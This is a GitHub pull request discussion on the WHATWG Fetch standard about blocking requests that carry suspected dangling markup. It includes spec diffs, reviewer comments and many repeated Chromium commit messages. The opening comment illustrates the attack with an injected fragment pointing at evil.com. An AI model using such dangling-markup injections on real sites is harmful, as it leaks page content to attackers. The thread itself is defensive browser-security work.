Block requests for suspected dangling markup. #519

mikewest · 2017-03-28T13:12:34Z

As a mitigation against dangling markup attacks (which inject open tags like
<img src='https://evil.com/ that eat up subsequent markup, and exfiltrate
content to an attacker), this patch tightens request processing to reject
those that contain a < character (consistent with an HTML element), and
had newline characters stripped during URL parsing (see whatwg/url#284).

It might be possible to URLs whose newline characters were stripped entirely,
based on initial metrics. If those pan out the way I hope, we can tighten
this up in the future.

Preview | Diff

As a mitigation against dangling markup attacks (which inject open tags like `<img src='https://evil.com/` that eat up subsequent markup, and exfiltrate content to an attacker), this patch tightens request processing to reject those that contain a `<` character (consistent with an HTML element), _and_ had newline characters stripped during URL parsing (see whatwg/url#284). It might be possible to URLs whose newline characters were stripped entirely, based on initial metrics. If those pan out the way I hope, we can tighten this up in the future.

mikewest · 2017-03-28T13:15:51Z

It feels a bit hacky to have unexplained checks like this in Fetch, but I'm not sure there's a better spot. WDYT?

/cc Random sampling of folks who come to mind for opinions from other vendors: @valenting, @dveditz, @youennf, @johnwilander, @travisleithead, @mcmanus

annevk · 2017-03-28T13:17:16Z

fetch.bs

@@ -2408,6 +2408,10 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps:
 not <a lt="is local">local</a>, set
 <var>response</var> to a <a>network error</a>.

+ <li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a>
+ is set, and |request|'s <a for=request>url</a> <a for=url>path</a> contains a U+003C
+ code point ("<code>&lt;</code>"), then set <var>response</var> to a <a>network error</a>.


Path is a list, so this doesn't quite work. Also, < doesn't end up as a literal in the URL, it becomes "%3C".

Ugh. Right. Would you prefer that I:

Add a "this is potentially dangling markup" flag to URL that is set during parsing (which might help with the explanation here)?

Walk through the items in path looking for characters?

Serialize the URL and walk through that?

I would be happy with the flag. I don't see how 2 and 3 can work if you want to distinguish between %3C and < on input.

mikewest · 2017-03-28T13:19:19Z

https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ spells out the justification a little more clearly. If folks don't fundamentally object, this is something I plan to try out in Chrome: relevant metrics show ~0.0006% of page views (https://www.chromestatus.com/metrics/feature/timeline/popularity/1770).

If we could get rid of the newline scan entirely by rejecting URLs with those characters outright, I'd be even happier. Chrome's initial metrics are high (https://www.chromestatus.com/metrics/feature/timeline/popularity/1768), but they're also wrong because a) I forgot to initialize the URL's "was whitespace removed?" flag, so it's sometimes randomly true (sigh), b) they're counting all URL completions, and not just those that result in requests. So I'm still hopeful, despite the ~0.02% it shows at the moment.

mikewest · 2017-03-28T13:58:21Z

(Blink-only tests at https://cs.chromium.org/chromium/src/third_party/WebKit/LayoutTests/http/tests/security/dangling-markup/src-attribute.html. I'll upstream those to WPT if folks aren't opposed to the notion.)

mikewest · 2017-05-22T10:49:01Z

Merged in the last few ~2 months of changes, and updated on top of a new flag in URL.

annevk · 2017-05-23T04:59:10Z

fetch.bs

@@ -2424,7 +2424,8 @@ with a <i>CORS flag</i> and <i>recursive flag</i>, run these steps:

 <li><p>If |request|'s <a for=request>url</a>'s <a for=url>parser-removed-tab-or-newline flag</a>
 is set, and |request|'s <a for=request>url</a>'s <a for=url>parser-escaped-less-than flag</a> is
- set, then set <var>response</var> to a <a>network error</a>.
+ set, and |request|'s <a for=request>url</a>'s scheme is an <a>HTTP(S) scheme</a>, then set
+ <var>response</var> to a <a>network error</a>.


You want one less "and".

mikewest · 2017-05-23T08:31:22Z

Fixed the extra and, and move to the one-flag proposal in the latest version of the URL patch.

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <mkwst@chromium.org> Cr-Commit-Position: refs/heads/master@{#474249} WPT-Export-Revision: 34b8d6ab689b1ecedef332baa2a155b543f50fa7

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Reviewed-by: Jochen Eisinger <jochen@chromium.org> Cr-Commit-Position: refs/heads/master@{#474268} WPT-Export-Revision: 76847294b106c9c50e921ac523722675102d452e

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <mkwst@chromium.org> Reviewed-by: Jochen Eisinger <jochen@chromium.org> Cr-Commit-Position: refs/heads/master@{#474290} WPT-Export-Revision: 9545e01418eb8738e5646b86527b986b3f2047a1

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <mkwst@chromium.org> Reviewed-by: Jochen Eisinger <jochen@chromium.org> Cr-Commit-Position: refs/heads/master@{#474292} WPT-Export-Revision: 8f0c33883ba9ad137a9ed9fe8a758022230f3e06

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <mkwst@chromium.org> Reviewed-by: Jochen Eisinger <jochen@chromium.org> Cr-Commit-Position: refs/heads/master@{#474341}

gusbemacbe · 2017-08-27T20:49:53Z

Will it block like in PHP:

a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?

mikewest · 2017-08-28T15:13:44Z

With the overarching caveat that you ought to ensure that you're properly escaping variables before dumping them into HTML:

Assuming that _relogios is just plain text, then <h3><?php echo _relogios ?></h3> won't cause a request, so nothing will be blocked.
Assuming that _fabrica is just plain text, then <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"> does not populate the src field, and doesn't change the resource that's being loaded.
Navigation caused by <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top"> would potentially be blocked if $html_language contained a removable whitespace character (\n, \r, \t) and an opening brace (<).

@annevk: The first pass at this is shipping through Chrome beta right now, and Firefox folks have expressed pretty clear interest (https://bugzilla.mozilla.org/show_bug.cgi?id=1369029). When my life is somewhat less chaotic, I'd like to get back to hammering out a way to get this well-defined without upsetting Apple.

annevk · 2017-08-29T14:29:10Z

Sounds good, let me know if you need help in any way.

Still behind a flag, just updating the checks to look for both `\n` and `<` rather than just the former. This is in line with the patches up at whatwg/url#284 and whatwg/fetch#519. Intent to Remove: https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ. Bug: 680970 Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840 Reviewed-on: https://chromium-review.googlesource.com/514024 Commit-Queue: Mike West <mkwst@chromium.org> Reviewed-by: Jochen Eisinger <jochen@chromium.org> Cr-Original-Commit-Position: refs/heads/master@{#474341} Cr-Mirrored-From: https://chromium.googlesource.com/chromium/src Cr-Mirrored-Commit: 9e5ae901660de47ef1b844c6113eae91b5ae8e9e

domfarolino · 2022-05-29T15:54:17Z

I know it has been awhile, but is there any chance of revisiting this? Strictly speaking, if fenced frames were to follow the spec we'd be vulnerable to the dangling markup attacks that Chrome has since mitigated against for other kinds of requests. With that, I think we'll stop fenced frame navigations when the src attribute contains dangling markup, but I'd feel less bad about implementing this (and adding web platform tests for this) if the spec accounted for this behavior too.

annevk · 2022-05-30T13:09:48Z

I think there is still interest in this, but it needs to be done in a way that doesn't require modifying the URL parser: whatwg/url#284 (comment).

There is an old Fetch Standard PR up for review that blocks resource requests whose URL contains potentially dangling markup [1]. This is for security purposes, see [2] and [3]. While non-standard yet, Chromium has shipped this behavior, and we intend to do the same for fenced frames. This CL implements potentially dangling markup restrictions on all embedder-provided URLs for fenced frame navigations. When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. [1]: whatwg/fetch#519 [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 Bug: 1301333, 1318970 Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Reviewed-by: Alex Moshchuk <alexmos@chromium.org> Commit-Queue: Dominic Farolino <dom@chromium.org> Cr-Commit-Position: refs/heads/main@{#1014928}

This reverts commit fe04c06. Reason for revert: Suspecting that this CL caused https://crbug.com/1337025 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Commit-Queue: Dominic Farolino <dom@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970 Change-Id: If4884825408c38882f439d8c5e47ba0271dc67a1 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3710059 Owners-Override: Łukasz Anforowicz <lukasza@chromium.org> Reviewed-by: Sebastien Lalancette <seblalancette@chromium.org> Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com> Auto-Submit: Łukasz Anforowicz <lukasza@chromium.org> Reviewed-by: Łukasz Anforowicz <lukasza@chromium.org> Commit-Queue: Sebastien Lalancette <seblalancette@chromium.org> Cr-Commit-Position: refs/heads/main@{#1015011}

This is a reland of commit fe04c06 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Commit-Queue: Dominic Farolino <dom@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970, 1337025 Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 Commit-Queue: Dominic Farolino <dom@chromium.org> Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Reviewed-by: Alex Moshchuk <alexmos@chromium.org> Cr-Commit-Position: refs/heads/main@{#1018831}

…g markup"" This reverts commit d168b7e. Reason for revert: Witness the following tests in constant failure list (mac/linux) when sheriffing, and this CL is in the list of potential regression culprit. virtual/fenced-frame-shadow-dom/wpt_internal/fenced_frame/disallowed-navigations.https.html virtual/fenced-frame-mparch/wpt_internal/fenced_frame/disallowed-navigations.https.html Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c06 > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > > Commit-Queue: Dominic Farolino <dom@chromium.org> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <dom@chromium.org> > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I08c09fc7d7d35ccd5a826ce3d7f03e954a860bc0 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3734127 Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com> Commit-Queue: Huanpo Lin <robertlin@chromium.org> Owners-Override: Robert Lin <robertlin@google.com> Cr-Commit-Position: refs/heads/main@{#1018955}

…g markup"" This is a reland of commit d168b7e Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c06 > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > > Commit-Queue: Dominic Farolino <dom@chromium.org> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <dom@chromium.org> > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I12c002d7f42d7138a9ad07eaa3b25b6c5b3d5d36 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3781483 Reviewed-by: Nasko Oskov <nasko@chromium.org> Commit-Queue: Dominic Farolino <dom@chromium.org> Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Cr-Commit-Position: refs/heads/main@{#1038987}

There is an old Fetch Standard PR up for review that blocks resource requests whose URL contains potentially dangling markup [1]. This is for security purposes, see [2] and [3]. While non-standard yet, Chromium has shipped this behavior, and we intend to do the same for fenced frames. This CL implements potentially dangling markup restrictions on all embedder-provided URLs for fenced frame navigations. When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. [1]: whatwg/fetch#519 [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 Bug: 1301333, 1318970 Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Reviewed-by: Alex Moshchuk <alexmos@chromium.org> Commit-Queue: Dominic Farolino <dom@chromium.org> Cr-Commit-Position: refs/heads/main@{#1014928} NOKEYCHECK=True GitOrigin-RevId: fe04c0639254e5d021da539d321f2e3a64a0085c

This reverts commit fe04c0639254e5d021da539d321f2e3a64a0085c. Reason for revert: Suspecting that this CL caused https://crbug.com/1337025 Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Commit-Queue: Dominic Farolino <dom@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970 Change-Id: If4884825408c38882f439d8c5e47ba0271dc67a1 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3710059 Owners-Override: Łukasz Anforowicz <lukasza@chromium.org> Reviewed-by: Sebastien Lalancette <seblalancette@chromium.org> Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com> Auto-Submit: Łukasz Anforowicz <lukasza@chromium.org> Reviewed-by: Łukasz Anforowicz <lukasza@chromium.org> Commit-Queue: Sebastien Lalancette <seblalancette@chromium.org> Cr-Commit-Position: refs/heads/main@{#1015011} NOKEYCHECK=True GitOrigin-RevId: 245696bb639221c56332cdea83bd961c99330183

This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c Original change's description: > Fenced frames: Disallow URLs with potentially dangling markup > > There is an old Fetch Standard PR up for review that blocks resource > requests whose URL contains potentially dangling markup [1]. This is > for security purposes, see [2] and [3]. While non-standard yet, Chromium > has shipped this behavior, and we intend to do the same for fenced > frames. This CL implements potentially dangling markup > restrictions on all embedder-provided URLs for fenced frame > navigations. > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > [1]: whatwg/fetch#519 > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > Bug: 1301333, 1318970 > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Commit-Queue: Dominic Farolino <dom@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1014928} Bug: 1301333, 1318970, 1337025 Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 Commit-Queue: Dominic Farolino <dom@chromium.org> Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Reviewed-by: Alex Moshchuk <alexmos@chromium.org> Cr-Commit-Position: refs/heads/main@{#1018831} NOKEYCHECK=True GitOrigin-RevId: d168b7e00bbbca61bcdb6078694b3500f74863d5

…g markup"" This reverts commit d168b7e00bbbca61bcdb6078694b3500f74863d5. Reason for revert: Witness the following tests in constant failure list (mac/linux) when sheriffing, and this CL is in the list of potential regression culprit. virtual/fenced-frame-shadow-dom/wpt_internal/fenced_frame/disallowed-navigations.https.html virtual/fenced-frame-mparch/wpt_internal/fenced_frame/disallowed-navigations.https.html Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > > Commit-Queue: Dominic Farolino <dom@chromium.org> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <dom@chromium.org> > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I08c09fc7d7d35ccd5a826ce3d7f03e954a860bc0 No-Presubmit: true No-Tree-Checks: true No-Try: true Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3734127 Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com> Commit-Queue: Huanpo Lin <robertlin@chromium.org> Owners-Override: Robert Lin <robertlin@google.com> Cr-Commit-Position: refs/heads/main@{#1018955} NOKEYCHECK=True GitOrigin-RevId: 249ad02da9846203ef3357bbc82c5145384b31b0

…g markup"" This is a reland of commit d168b7e00bbbca61bcdb6078694b3500f74863d5 Original change's description: > Reland "Fenced frames: Disallow URLs with potentially dangling markup" > > This is a reland of commit fe04c0639254e5d021da539d321f2e3a64a0085c > > Original change's description: > > Fenced frames: Disallow URLs with potentially dangling markup > > > > There is an old Fetch Standard PR up for review that blocks resource > > requests whose URL contains potentially dangling markup [1]. This is > > for security purposes, see [2] and [3]. While non-standard yet, Chromium > > has shipped this behavior, and we intend to do the same for fenced > > frames. This CL implements potentially dangling markup > > restrictions on all embedder-provided URLs for fenced frame > > navigations. > > > > When a URL with dangling markup is passed to SharedStorage's `selectURL()` method, it is parsed and partially sanitized, therefore the resulting urn:uuid can be successfully navigated to. When crbug.com/1318970 is fixed, SharedStorage will reject these URLs as inputs. > > > > [1]: whatwg/fetch#519 > > [2]: https://bugs.chromium.org/p/chromium/issues/detail?id=1039885 > > [3]: https://bugs.chromium.org/p/chromium/issues/detail?id=1301333 > > > > Bug: 1301333, 1318970 > > Change-Id: I1ada9de23b05795499408988529fa3a49486aea3 > > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3702854 > > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > > Commit-Queue: Dominic Farolino <dom@chromium.org> > > Cr-Commit-Position: refs/heads/main@{#1014928} > > Bug: 1301333, 1318970, 1337025 > Change-Id: I28fb3ed240344b795ceef8c3a65459f16b688524 > Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3715554 > Commit-Queue: Dominic Farolino <dom@chromium.org> > Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> > Reviewed-by: Alex Moshchuk <alexmos@chromium.org> > Cr-Commit-Position: refs/heads/main@{#1018831} Bug: 1301333, 1318970, 1337025 Change-Id: I12c002d7f42d7138a9ad07eaa3b25b6c5b3d5d36 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3781483 Reviewed-by: Nasko Oskov <nasko@chromium.org> Commit-Queue: Dominic Farolino <dom@chromium.org> Reviewed-by: Garrett Tanzer <gtanzer@chromium.org> Cr-Commit-Position: refs/heads/main@{#1038987} NOKEYCHECK=True GitOrigin-RevId: fd8569850d538adc8e3012da1c7c8573f16a5356

annevk requested changes Mar 28, 2017

View reviewed changes

mikewest mentioned this pull request May 22, 2017

Prevent requests to HTTP(S) URLs containing raw \n and <. #546

Open

mikewest added 2 commits May 22, 2017 12:46

Merge remote-tracking branch 'origin/master' into whitespace

3368af5

fixup new URL flag

c8b6b22

mikewest mentioned this pull request May 22, 2017

Record whether the URL parser removed newlines. whatwg/url#284

Closed

fixup HTTP(S) scheme.

45b90ba

annevk reviewed May 23, 2017

View reviewed changes

fixup one flag

1c9154e

chromium-wpt-export-bot mentioned this pull request May 24, 2017

Update dangling markup mitigations. web-platform-tests/wpt#6033

Closed

chromium-wpt-export-bot mentioned this pull request May 24, 2017

Update dangling markup mitigations. web-platform-tests/wpt#6046

Closed

mik25 approved these changes Oct 1, 2017

View reviewed changes

Base automatically changed from master to main January 15, 2021 07:38

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Block requests for suspected dangling markup. #519

Block requests for suspected dangling markup. #519

mikewest commented Mar 28, 2017 •

edited by pr-preview bot

mikewest commented Mar 28, 2017

annevk Mar 28, 2017

mikewest Mar 28, 2017

annevk Mar 28, 2017

mikewest commented Mar 28, 2017

mikewest commented Mar 28, 2017

mikewest commented May 22, 2017

annevk May 23, 2017

mikewest commented May 23, 2017

gusbemacbe commented Aug 27, 2017

mikewest commented Aug 28, 2017

annevk commented Aug 29, 2017

domfarolino commented May 29, 2022

annevk commented May 30, 2022

Block requests for suspected dangling markup. #519

Are you sure you want to change the base?

Block requests for suspected dangling markup. #519

Conversation

mikewest commented Mar 28, 2017 • edited by pr-preview bot

mikewest commented Mar 28, 2017

annevk Mar 28, 2017

Choose a reason for hiding this comment

mikewest Mar 28, 2017

Choose a reason for hiding this comment

annevk Mar 28, 2017

Choose a reason for hiding this comment

mikewest commented Mar 28, 2017

mikewest commented Mar 28, 2017

mikewest commented May 22, 2017

annevk May 23, 2017

Choose a reason for hiding this comment

mikewest commented May 23, 2017

gusbemacbe commented Aug 27, 2017

mikewest commented Aug 28, 2017

annevk commented Aug 29, 2017

domfarolino commented May 29, 2022

annevk commented May 30, 2022

mikewest commented Mar 28, 2017 •

edited by pr-preview bot